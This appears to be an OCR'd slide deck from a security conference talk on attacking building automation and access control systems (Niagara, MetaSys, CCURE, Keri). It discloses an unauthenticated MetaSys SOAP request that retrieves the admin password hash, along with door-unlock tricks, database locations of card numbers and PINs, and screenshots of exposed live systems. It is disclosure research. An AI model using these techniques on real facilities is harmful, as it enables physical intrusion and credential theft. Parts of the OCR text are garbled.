Owning a Building

Exploiting Access Control and Facility Management Systems

Billy Rios Director of Threat Intelligence Qualys

About:Me

@XSSNIPER

Qualys

Director of Vulnerability Research and Threat Intelligence

SpearPoint Security (Acquired by Cylance)
 Founder/CEO

Google (Previously)

- TL for the Google Security Team (WOOPS)
- Security Release Engineer Google Plus

About:Me



Security PM – Microsoft (Previously)
Security PM for Internet Explorer
Security Release Engineer Online Services

Education

- 2006 MBA
- 2004 MSIS
- 2000 BA Business

About:Me

@XSSNIPER

• Publications:

- Hacking the Next Generation O'Reilly
- Inside Cyber Warfare O'Reilly
- The Virtual Battlefield IOS Press

ICS Vulnerability Research:

- Over 30 publically credited in ICS-CERT advisories
- Vendor Assistance
- Over 1000 individual issues reported to DHS

http://ics-cert.us-cert.gov/sites/default/files/ICS-CERT_Monitor_Jan-Mar2013.pdf

TLP = WHITE

INCIDENT RESPONSE ACTIVITY - Continued

COMPROMISE VIA "CREDENTIAL STORAGE" VULNERABILITY

ICS-CERT recently learned of an incident that occurred early last year involving hackers who penetrated the building energy management system (EMS) of a New Jersey manufacturing company. According to the source, intruders successfully exploited a weak credential storage vulnerability to access the organization's Tridium Niagara AX building EMS. The intruders were able to identify the Internet facing devices using the SHODAN search engine and compromised the system by taking advantage of weak authentication credentials.

The incident in New Jersey was similar to another incident that occurred in early 2012 where a state government facility's building EMS was also compromised. In this incident, the facility was compromised by an intruder who was able to exploit weak energy management, building automation, telecommunications, security automation, and total facilities management applications.

WATERING HOLE ATTACKS

In early January 2013, ICS-CERT became aware of and issued an alert to warn of watering hole attacks that used two vulnerabilities, including a zero-day (0-day) vulnerability affecting Microsoft Internet Explorer (IE), Versions 6, 7, and 8.


This zero-day was reportedly being used in at least two watering hole attacks against the Council of Foreign Relations (CFR) and Capstone Turbine Corporation where attackers compromised the Web sites with malware in order to target visitors of those Web sites.

Watering hole attacks involve compromising legitimate Web sites with malware in an attempt to infect visitors of those sites. Web sites thought to be of interest to particular organizations are often chosen in the hopes that end-users will visit them and become infected with ICS-CERT recently learned of an incident that occurred early last year involving hackers who penetrated the building energy management system (EMS) of a New Jersey manufacturing

company. According to the source, intruders successfully exploited a weak credential storage vulnerability to access the

The incident in New Jersev was similar to another incident that occurred in early 2012 where a state government facility's building EMS was also compromised. In this incident, the facility was compromised by an intruder who was able to exploit weak authentication settings on the system's Internet-accessible Niagara interface and manipulate set points to change the temperature settings. (see February 2012 Monthly Monitor).


Intelligent Building




Unified user experience









System Interaction: Unoccupied building, Saturday night




System Interaction: Scott swipes card at main entrance, works on 4th floor South




System Interaction: Video system needs to verify and record Scott's entrance




System Interaction: Alarm system armed, need to disarm 4th floor intrusion zone




System Interaction: Allow access to 4th floor




System Interaction: It is hot in Scott's office, turn on AC



System Interaction: Scott needs light on 4th floor hallway and office



System Interaction: Lights and AC for Scott used 50 kWH



System Interaction: Invoice Scott for \$150 of after hours energy usage

Device Password Retrieval Vulns

Niagara Framework

- Unauthenticated user can retrieve the device passwords
- Password is "encoded", we've written a routine to decode the encoded password.
- Clear text password can be used to gain administrative access to the device
- Administrative access can be used to gain ROOT or SYSTEM on the underlying device

MetaSys

- Unauthenticated user can retrieve the device password hashes (SHA1)
- Unauthenticated Password Reset for any user
- Authentication Bypass
- Compromise of the underlying system at SYSTEM

Tridium – Niagara Framework



Johnson Controls - MetaSys



Physical Security is Important

Physical access typically allows:
Compromise through console access

 Use of technician/service credentials to access maintenance menus

 Access to the Building Automation and Control Network (BACnet)





Device Password Retrieval Vulns

 Niagara Framework – Issues fixed and addressed by the latest security patches

MetaSys – No response from the vendor [®]
 Reported 11/22/2013 to DHS via ICS-CERT

A Deeper Look into MetaSys

The device we have runs on WinCE

IDA Pro tells us portable executables are for x86
Some of files are .NET assemblies!

Metasys Filesystem

Flash:/Metasys contains all the audit logs and configuration files

 Flash:/Metasys/SecureDB/SecurityDB.xml contains users and password hashes

 MetasysSysAgent account is a the "Metasys System Agent" and has the USERID of 1

<tbluser></tbluser>
<userid>1</userid>
<username>MetasysSysAgent</username>
<password< td=""></password<>
<forcepasswordchange>false</forcepasswordchange>
<createdate>2002-08-01T15:36:24.487-04:00</createdate>
<modifydate>2002-11-11T15:18:17.413-05:00</modifydate>
<accountlockedout>false</accountlockedout>
<accountdisabled>false</accountdisabled>
<accountexpiration>0</accountexpiration>
<canchangepassword>true</canchangepassword>
<policyid>1</policyid>
<logincounter>0</logincounter>
< LastPasswordChangeDate > 2002-08-01T15:36:24.487-04:00 < / LastPasswordChangeDate > 00000000000000000000000000000000000
<lastpasswordhistorydate>2002-08-01T15:36:24.487-04:00</lastpasswordhistorydate>
<userdescription>Metasys System Administrator</userdescription>
<singleaccessuser>false</singleaccessuser>
<fullname>Metasys System Agent</fullname>
<emailaddress></emailaddress>
<phonenumber></phonenumber>
<enableaudiblealarm>false</enableaudiblealarm>
<userdefined>false</userdefined>
<tempuser>false</tempuser>
<tempuserexpiredate>2099-02-01T00:00:00-05:00</tempuserexpiredate>
<usercanmodifyprofile>true</usercanmodifyprofile>
<usercanviewdefaulttree>true</usercanviewdefaulttree>
<languagesetvalue>en_US</languagesetvalue>
<defnavviewsetvalue></defnavviewsetvalue>
<acceptedterms>true</acceptedterms>

Captain Obvious

 WinCE typically has unauthenticated telnet open, which drops you to a shell

 WinCE also typically has unauthenticated FTP open, which gives you access to system files



Metasys File system

Flash:/Storage contains crashdumps and associated memdumps

 Flash:/Storage/Metasys/Preferences stores user and system preferences

 Flash/Storage/Metasys/SecureDB has another copy of the SecurityDB.xml file, as well as the "Metasys" database (SDF file)

Metasys File system

 Flash:/Storage/Metasys/wwwroot/MetasysXXX contains application logic for the web interface

• Webroot contains ~50 different jar files, may of which get deployed to the client

 Flash:/Storage/Metasys/wwwroot/metasysXXX/WS contains webservice code

Metasys Web Services

 All application logic is contained within precompiled binaries in the flash:/storage/Metasys/wwwroot/metasysXXX/WS/bin directory

Most of the binaries are .NET assemblies!

Reversing these binaries revealed some interesting bugs Image

Metasys Web Services

 Digging through the .NET assemblies, we see web services to:

- Retrieve directory listing from the device
- Upload arbitrary file to arbitrary locations
- Retrieve a users password hash

Metasys Web Services

 Digging through the .NET assemblies, we see web services to:

- Retrieve directory listing from the device
- Upload arbitrary file to arbitrary locations

 Retrieve a users password hash because remotely retrieving a users password hash is a really popular feature!

WebService.Common.dll

- 🗉 📲 WebServices.Common
 - WebServices.Common.dll
 - 🗉 🔤 References
 - € {} ∈

 - IohnsonControls.MetasysIII.WebServices.SiteDirector
 - IohnsonControls.MetasysIII.WebServices.TimeManagement
 - Recources

WebService.Common.dll

∃ JohnsonControls.MetasysIII.Security
 ➡ 🏠 AdministrationService
 ➡ 🏠 GetActiveDirectoryFeatureStatus
 ➡ 🏠 LoginService

[WebMethod(Description="Returns the property for a single user stored in the database")] public XmlNode GetUserProperty(int userId);

Subsystems.Common.dll

- 🗄 {} JohnsonControls.MetasysIII.Main

- [] {} JohnsonControls.MetasysIII.Security
 - 🗄 쓗 AccountSyncManagement
 - 🗄 🏤 ActiveDirectoryFeatures
 - 🗄 를 ActiveDirectoryFeatureStatusEnum
 - 🗄 🔩 AuthenticationModule
 - 🗄 🔩 AuthorizationCheckAttribute

Subsystems.Common.dll – PrincipalStore()

private IMonitoringAndCommanding genericItem; private const string INTRACOMPUTERUSER = "IntraComputer"; private const string METASYSSUPERUSER = "MetasysSysAgent"; private const string METASYSSUPERUSERPASS = "p"; private const string METASYSSUPERUSERPATH = @"\Software\Johnson Controls\Metasys"; private Thread passwordChangeThread; private Thread passwordChangeThread; private PlatformType platform; private const int PWLEN = 0x100; private const int RASCNTL_SERVER_USER_SET_CREDENTIALS = 0x13; private SecurityRecordDataCache securityRecordDataCache; private const int UNLEN = 0x100;

// Methods

static PrincipalStore();

private PrincipalStore();

public int AcceptedTermsAndConditions(int userId, string loginUserName);

public int AddCopiedUser(int inputId, bool addUserProperties, string loginUserName, string userName, string password, string descr public int AddCopiedUser(int inputId, bool addUserProperties, string loginUserName, string userName, string password, string descr public int AddGroup(string groupName, string groupDescription, bool userDefined, string loginUserName, int groupId, int copyOfGr public int AddGroup(string groupName, string groupDescription, bool userDefined, string loginUserName, int groupId, int copyOfGr public void AddGroupObjectViews(int groupId, ArrayList objectViews);

private int AddGroupToSql(string groupName, string groupDescription, bool userDefined, string loginUserName, int groupId, int cor

PrincipalStore – getUserProperty()

writer2.WriteStartElement("Stuff"); enumerator = rowArray.GetEnumerator(); if (enumerator.MoveNext())

PrincipalDataSet.UserRow current = (PrincipalDataSet.UserRow) enumerator.Current; writer2.WriteStartElement("MetasysUser"); writer2.WriteAttributeString("id", current.UserId.ToString()); writer2.WriteElementString("userName", current.UserName); writer2.WriteElementString("password", current.Password); writer2.WriteElementString("fullName", current.FullName); writer2.WriteElementString("emailAddress", current.EMailAddress); writer2.WriteElementString("description", current.UserDescription); writer2.WriteElementString("singleAccessUser", current.SingleAccessUser.ToString().ToLower()); writer2.WriteElementString("temporaryUser", current.TempUser.ToString().ToLower()); writer2.WriteElementString("userExpiresDate", this.GetUTCDate(current.TempUserExpireDate)); writer2.WriteElementString("passwordExpiresDate", this.GetUTCDate(DateTime.Now.AddDays((double) current.AccountExpiration))); writer2.WriteElementString("mustChangePassword", current.ForcePasswordChange.ToString().ToLower()); bool flag4 = !current.CanChangePassword; writer2.WriteElementString("cannotChangePassword", flag4.ToString().ToLower()); writer2.WriteElementString("accountDisabled", current.AccountDisabled.ToString().ToLower()); writer2.WriteElementString("accountLockedOut", current.AccountLockedOut.ToString().ToLower()); writer2.WriteElementString("modifyOwnProfile", current.UserCanModifyProfile.ToString().ToLower()); writer2.WriteElementString("canViewNavTree", current.UserCanViewDefaultTree.ToString().ToLower()); writer2.WriteElementString("userDefined", current.UserDefined.ToString().ToLower()); writer2.WriteStartElement("Roles"); string str2 = "UserId = " + current.UserId.ToString(); DataRow[] rowArray2 = null;

POST

POST /MetasysIII/WS/Security/AdminService.asmx HTTP/1.1

<?xml version="1.0" encoding="utf-8"?>

<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">

<soap12:Body>

<GetUserProperty xmlns="http://johnsoncontrols.com/MetasysIII/WebServices/Security/"> <userId>1</userId>

</GetUserProperty>

</soap12:Body>

</soap12:Envelope>

Response

HTTP/1.1 200 OK

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://johnsoncontrols.com/MetasysIII/WebServices/Security/"><GetUserPropertyResponse
xmlns="http://johnsoncontrols.com/MetasysIII/WebServices/Security/"><GetUserPropertyResult><Stuff><MetasysUser
id="1"><userName>MetasysSysAgent</userName><password>PASSWORDHASH</password><fullNa
me>Metasys System Agent
//userName>
/description><singleAccessUser>false</singleAccessUser><temporaryUser>false</temporaryUser>false</temporaryUser>cont/UserExpiresDate><password>false</password>false</mu
stChangePassword>cannotChangePassword>false</cannotChangePassword>false</accountDisabled</password>false</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled</accountDisabled

Epic Fail...


Epic Fail...

Web Services are available to UNAUTHENTICATED USERS!









Oraphic Focus Snapshot Focus

Second Roor

1 1550 Harbor Boulevard Second Floor TOTAL CONTROL Schedule Home AC-1 AC-2 AC-3 AC-4 Front of Building VAV2.7 VAV2.2 VAV2.5 VAV2.8 \cap VAV2.3 VAV2-11 71.7 deg F 70.8 deg F 73.0 deg F 70.1 deg F 71.6 deg F 69.1 deg F VAV2-6 VAV2.12 73.4 deg F U 69.8 deg F VAV24 VAV2.9 72.3 deg F VAV2.10 72.4 deg F VAV2.1)a 72.0 deg F 72.4 deg F 69 VAV2-28 VAV2.13 73.6 deg F 70.8 deg F VAV2-16 VAV2-18 70.3 deg F 74.3 deg F VAV2-14 VAV2.15 71.0 deg F VAV2.21 70.1 deg F VAV2-17 73.0 deg F 70.2 deg F VAV2.19 = Temp Occ Inactive 71.8 deg F - Temp Occ Active

Metasys Exploit Demo

Our Enumeration Effort

 Initially based on Shodan, moved to custom scanners in Amazon EC2

• We've identified over 50,000 buildings exposed to the Internet

 Stadiums, hospitals, police stations, prisons, military installations...etc

Total cost of about \$500 to get equipment and EC2 time

These systems are surprisingly prevalent on the Internet


Check it out!

RTU#1	Area Ser	ved First Floor VAV Boxes			19-Aug-13 1:28 AM EDT	
uilding Static Press Setpt	0.1 in/wc	Building Static Press -	0.0 %		Outside Air Temp	59.0 °F
Duct Static Press Setpt		Duct Static Press				
Occ Clg Setpt	72.0 ºF	UnOcc Clg Setpt 7	8.0 °F RTU Effe	ective Control Point 75.5	0	
Occ Htg Setpt		UnOcc Htg Setpt 6	8.0 °F			
	Mined AirTonn	((3 OF	Supply Fan Enable	On		
	Mixed AirTemp	66.7 ºF	Supply Fan VFD	0.0 %		
Return Air Temp	66.8 ⁰F		Discharge /	Nir Temp 71.5 °F		
0		Discharge Pressur Suction Pressur		-		
Current Cooling Capacity	0.0 %	Saturated Suction Tem		- /		
SAT Cooling Control Point	0.0 %	Saturated Condensing Tem	-	-		
	0.0 %	Compressor A1 Feedb		Requested Heat Stages	0	
Total Cooling Capacity Compressor A1 Relay CMD						
Compressor A1 Relay CMD		Compressor A2 Feedb	ack Off	Htg Stage 1	Off	
Compressor A1 Relay CMD Compressor A2 Relay CMD	Off	Compressor A2 Feedb Compressor B1 Feedb		Htg Stage 1	Off	
Compressor A1 Relay CMD Compressor A2 Relay CMD	Off		ack Off	Htg Stage 2	Off Off	
Compressor A1 Relay CMD Compressor A2 Relay CMD Compressor B1 Relay CMD	Off	Compressor B1 Feedb	ack Off re B 139.2		Off	
Compressor A1 Relay CMD Compressor A2 Relay CMD	Off	Compressor B1 Feedb Discharge Pressur	ack Off re B 139.2 re B 108.3	Htg Stage 2 Htg Stage 3	Off Off	



← → C 🗋 99.113.228.129/ord?station:|slot:/Gables


☆ **=**




Menu * 🛄 * 🔐 🕼 🕼 🕼 🛝 🖓 🕼 🛄


😻 Station (GLF_3044WebsterTX_EMSCtrlA) 👻 🗏 Config 🛛 😁 CtrlStrategy 💦 Energy









NetworkInputs Site Emergency Phase Loss Outdoor Temp + Outdoor Light/Dark + Outdoor Humidity + Enthalpy + Indoor Humidity + 🔵 Outdoor Light + Outdoor CO2 + 🔵 Pulse Meter + inputs + Security System Indoor CO2



SOCHI_ARENA - Home - Mozilla Firefox		
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Most Visited		
SOCHI_ARENA - Home ÷		-
Gi Home		







PR5

PR5-D01		
PR5-D01	Closed	
PD25#10	Closed	
PD36#4	Closed	
PD12#7	Closed	
PD12#11	Closed	
PD12#13	Closed	
PD12#14	Closed	
PD12#15	Closed	
PD25#2	Closed	
PD25#8	Closed	

PR5-D02		
PR5-D02	Closed	
PD6#9	Closed	
PD6#12	Closed	
PD36#1	Closed	
PD42#5	Closed	
PD48#6	Closed	

PR5-T1		
PR5-T1	Closed	
PT3#1	Closed	
PT3#6	Closed	
PT3#12	Closed	
PT6#5	Closed	
PT6#8	Closed	
PT12#2	Closed	
PT12#10	Closed	
PT25#4	Closed	
PT25#11	Closed	

PR5-T2		
PR5-T2	Closed	
PT25#9	Closed	
PT36#7	Closed	
PT42#3	Closed	
PT3	Open	

PR5-UPS1		
PR5-UPS1	Closed	
PU42#6	Closed	
PU42#4	Closed	
PU36#8	Open	
RESERVA	Open	
PU12#7	Closed	
PU12#5	Closed	
PU25#3	Closed	
PU25#2	Closed	
PU12#3	Open	

PR5-UPS2		
PR5-UPS2	Closed	
PU30#10	Closed	
PU3#13	Closed	
PU25#12	Closed	
PU12#11	Closed	
PU25#9	Closed	
PU6#1	Open	
PT3#2	Open	
PT3#4	Open	
PT12#2	Open	
PU3#1	Closed	
PU12#1	Closed	
RESERVA	Open	

id=i:6670		
hostName=s LAInstallat:	ions	
hostAddress-s-		
app.name=s:		
app.version=s:		
vm.name=s:Java_HotSpot	(TM) 64-Bit Server VM	
vm.version=s:23.7-b01		
os.name=s:Windows 7		
os.version=s:6		
<pre>station.name=s SOCHI_A)</pre>	KENH	
lang=s:en	-4440000-0-11-11	
	ow;14400000;0;null;null	
hostId=s: vmUuid=s:		
brandId=s:		
sysInfo=o:		
systillo-o.		
	<pre>{signature}</pre>	
	ignature>	
	K/licenseX/resp>	
	You looked up the license f	
	This license was generated The license vendor is:	nn :
	The license is for version:	
	This license expires on:	
	This device is owned by: OB	S
	The project for this device	is: Olympic Broadcasting

Internet Facing Facility Management Systems

Demo

Access Control Systems













	Inc.	C = 2000 MPUT: 12-24V = 50/60
	GROUND AUX IN 1 DOOR SWITCH GROUND REX SWITCH 9 9 0	AUXOUT 2 AUXOUT 2 BELL/DATAPD0 BELL/DATAPD0 GROUND +5 VDC OUTPUT F RIHERNET F RIH RIHERNET F RIH RIH RIH RIH R
Image: State of the s	ahatni pnibulani	For Ratings and Inst. drwgs. see HK-II manual ver 3.0 on CD, P/N 701
A to the following two enditions: a not search for the FCC rules, and second the FCC rules, and second the fCC rules, and second the following two econditions:		RECOGNITION SYSTEMS. INC. Campbell, CA Model: HK – II



-

et patienter













Access Control Simplified



5/12 Volts





Access control attack points - Reader

Physical Access trumps everything

 Typically 5/12 volts to the correct wire or a serial replay will trigger a door unlock

Requires physical access

 Usually requires disassembly of a device from a wall (be careful of tamper alarms)

Access control attack points - Software

Typically installed on Windows boxes
Popular access control software includes:

- CCURE
- HANDnet
- DOOR.NET

Finding Access Control Software

Registry key - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

•CCURE

- Displayname CCURE System
- Uninstall Key {2DD780A0-E179-11D4-80DC-00C04F02D1A9}

DOOR.NET

- Displayname Doors_vX.XX
- Uninstall Key {7FFA81CC-F551-11D7-B44A-00A0CC3FC224}

HandNet

- Displayname HandNet for Windows
- Uninstall Key {EDEEAA62-EE2C-11D4-8C79-000103813D31}

Configure Controlle	ers Properties P	Program System M	lanual Hardware De	finition			
Add 4 Door Ctlr	Add 2 Door Ctlr	Apply Changes	Undo Changes	Delete	Expand All	Collapse All	
Valuetaa	le et e ne e du l	-					

You must select a module. All changes to the database have been applied.

				A					
	N	Modified	Controller Template Name	Mainboard Type					
+	1		Standard Four Door	PXLNet4					
+	1		Standard Two Door	PXLNet2					
+	L		Extended Four Door	PXLNet4					
+	1		Extended Two Door	PXLNet2					
1	1	skolok	2 Door Control with 1 Local Door Alarm	PXLNet2					
	E	BUS 1							
	Ľ		Module Name 🗸 🗸						
.	Ŀ	Keri Read	er						
I	Ŀ	Door Exter	nsion						
	2	BUS 2							
			Module Name 🗸 🗸						
		Keri Read	er						

54														
	Home	Setup	Reports	Tools	View	Sele	ected Hardware	C	ardholders					
9° I	History	All Transa	actions 🔻	0	-0 1		0	0	Default Time	-	1	Mask Forced	-	Unmask Held
@ A	Audit							0			-	Unmask Forced	4.	Mask Both
0	Request Status			Lock		Card nd PIN	The second se	Temp Inlock			18	Mask Held	6	Umask Both
	Selecte	ed Items			Mod	de			Timed			Mask	cing	
	nolders Search						Auvanceu 3	earcii						
oors														

Access to the applications allows for by design unlocking of doors

Select the device you wish to unlock and press "unlock" ^(C)

Add a rogue user to a user group that has access

Gen	eral	Access Rig	phts	Advanced	Contact	Company	Photo ID	Custom	Notes
									Access Groups
	Assign	ned	Des	cription					
			A						
			Alv	vays Active					
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
Access control attack points - Database

• CCURE

- Sysprogress is the DB administrator account
- Database name is usually CCURE_SQL


• KERI DOORS

- Install location:\Doors_vX.XX\Db\Badge (Doors for Windows)
- Database name is usually DHS_MAIN via Windows Auth (Doors.NET)



🖃 🔲 dbo.t_person E Columns Person ID (PK, int, not null) Int1 (int, null) Int2 (int, null) Int3 (int, null) Int4 (int, null) Int5 (int, null) Logical1 (bit, null) Logical2 (bit, null) Badge_Layout_ID (int, null) Card_num (decimal(20,0), null) Last Name (nvarchar(126), not null) Is User (bit, null) PIN (int. null) Issue Code (int, null) Facility_code (int, null) Inactive (bit, null) Expired (bit, null) Disabled (bit, null) Deleted (bit, null) Lost (bit, null) = Noticed (bit, null) Person Type (int, null) Last Mod Person (int, null) First_name (nvarchar(126), null) Middle Name (nvarchar(120), null) E ADA (bit, null) Activate_AP_Event (bit, null) Asset Administrator (bit, null) Partition_ID (int, not null) Person_GID (decimal(20,0), null) Activation_DT (int, null) Expiration_DT (int, null) Home_Server_CID (int, null) Can Perform WatchTour (bit. null)

The database structure can be a little complicated (CCURE is shown here)



dbo.t_person E Columns Person ID (PK, int, not null) Int1 (int. null) Int2 (int, null) Int3 (int, null) Int4 (int, null) Int5 (int, null) Logical1 (bit, null) Logical2 (bit, null) Badge_Layout_ID (int, null) Card_num (decimal(20,0), null) Last Name (nvarchar(126), n Is User (bit, null) PIN (int, null) Issue Code (in Facility_code (in c, h Inactive (bit, null) Expired (bit, null) Disabled (bit, null) Deleted (bit, null) Lost (bit, null) 121 Noticed (bit, null) Person Type (int, null) Last Mod Person (int, null) First_name (nvarchar(126), null) Middle Name (nvarchar(120), null) ADA (bit, null) Activate_AP_Event (bit, null) Asset Administrator (bit, null) Partition ID (int, not null) Person_GID (decimal(20,0), null) Activation_DT (int, null) Expiration_DT (int, null) Home_Server_CID (int, null) Can Perform WatchTour (bit, null)

Access to the applications allows for by design unlocking of doors

Looking at the t_card, t_ccure_journal, and t_person are some of the more interesting tables

t_person has all the card numbers and pins

Access Control Demo

I want to audit our organization, where do I start?

Facilities Management Ask your facilities department about: Tridium - Niagara Johnson Controls – MetaSys Automated Logic – WebCTRL Delta Controls - eneliWEB

Access Controls

Ask your physical security folks about: • CCURE – CCURE • Keri – Door.NET • Schlage - HandNET

Surveillance Systems

Ask your <u>physical security</u> folks about:
PELCO – IP and CC systems
American Dynamics – DVR, VideoEdge

The folks who run your Datacenters have access to everything ©

QUESTIONS???